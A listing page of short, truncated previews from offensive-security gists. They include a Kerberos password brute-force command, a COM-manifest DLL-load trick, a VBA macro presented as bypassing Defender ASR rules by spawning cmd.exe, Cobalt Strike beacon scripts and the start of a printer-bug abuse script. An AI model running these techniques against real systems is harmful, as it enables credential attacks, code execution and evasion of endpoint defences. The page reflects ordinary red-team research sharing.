TarlogicSecurity

Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

Neo23x0

/*
WARNING:
 
the newest version of this rule is now hosted here:
https://github.com/Neo23x0/god-mode-rules/blob/master/godmode.yar
*/


/*
      _____        __  __  ___        __      

n0ncetonic

#!/bin/bash
# Command Injection via Homebrew $PATH trickery
# n0ncetonic
# Blacksun Research Labs 2019
# https://github.com/n0ncetonic
# https://github.com/BlacksunLabs

banner=$(/bin/cat <<EOF

capnspacehook

package main

import (
	"io/ioutil"
	"os"
	"os/exec"
	"strconv"
	"syscall"

rsmudge

#
# Demonstrate how to queue tasks to execute with each checkin...
#

#
# yield tells a function to pause and return a value. The next time the same instance of the
# function is called, it will resume after where it last yielded.
# 
sub stuffToDo {
	# Tasks for first checkin

analyticsearch

#Doesn't Even Have to Be A Conformant COM DLL To trigger the load.

# Sample DLL To inject here 
# https://github.com/redcanaryco/atomic-red-team/tree/master/atomics/T1179

$manifest = '<?xml version="1.0" encoding="UTF-16" standalone="yes"?> <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> 	<assemblyIdentity type="win32" name="LiterallyDoesentMatter" version="6.6.6.0"/> 	<file name="Anyname.dll.anything">     	<comClass         	description="Any Description HERE"         	clsid="{89565276-A714-4a43-91FE-EDACDCC0FFEE}" threadingModel="Both"         	progid="JustMakeSomethingUp"/> 	</file>  </assembly>';
$ax = new-object -Com "Microsoft.Windows.ActCtx"
$ax.ManifestText = $manifest;
$DWX = $ax.CreateObject("JustMakeSomethingUp");

jthuraisamy

Windows Toolkit

Binary

Native Binaries

• IDA Pro

IDA Plugins	Preferred	Neutral	Unreviewed

infosecn1nja

' ASR rules bypass creating child processes
' https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-exploit-guard/enable-attack-surface-reduction
' https://www.darkoperator.com/blog/2017/11/11/windows-defender-exploit-guard-asr-rules-for-office
' https://www.darkoperator.com/blog/2017/11/6/windows-defender-exploit-guard-asr-vbscriptjs-rule

Sub ASR_blocked()
    Dim WSHShell As Object
    Set WSHShell = CreateObject("Wscript.Shell")
    WSHShell.Run "cmd.exe"
End Sub

dtmsecurity

$dotnetpath = "/usr/local/share/dotnet/dotnet";
$sharpgenpath = "/Users/dtmsecurity/Tools/SharpGen/bin/Debug/netcoreapp2.1/SharpGen.dll";
$temppath = "/tmp/";

beacon_command_register("sharpgen", "Compile and execute C-Sharp","Synopsis: sharpgen [code]\n");

alias sharpgen{
	$executionId  = "sharpgen_" . int(rand() * 100000);
	$temporaryCsharp =  $temppath . $executionId . ".cs";
	$executableFilename = $temppath . $executionId . ".exe";

3xocyte

#!/usr/bin/env python

# abuse cases and better implementation from the original discoverer: https://github.com/leechristensen/SpoolSample
# some code from https://www.exploit-db.com/exploits/2879/

import os
import sys
import argparse
import binascii
import ConfigParser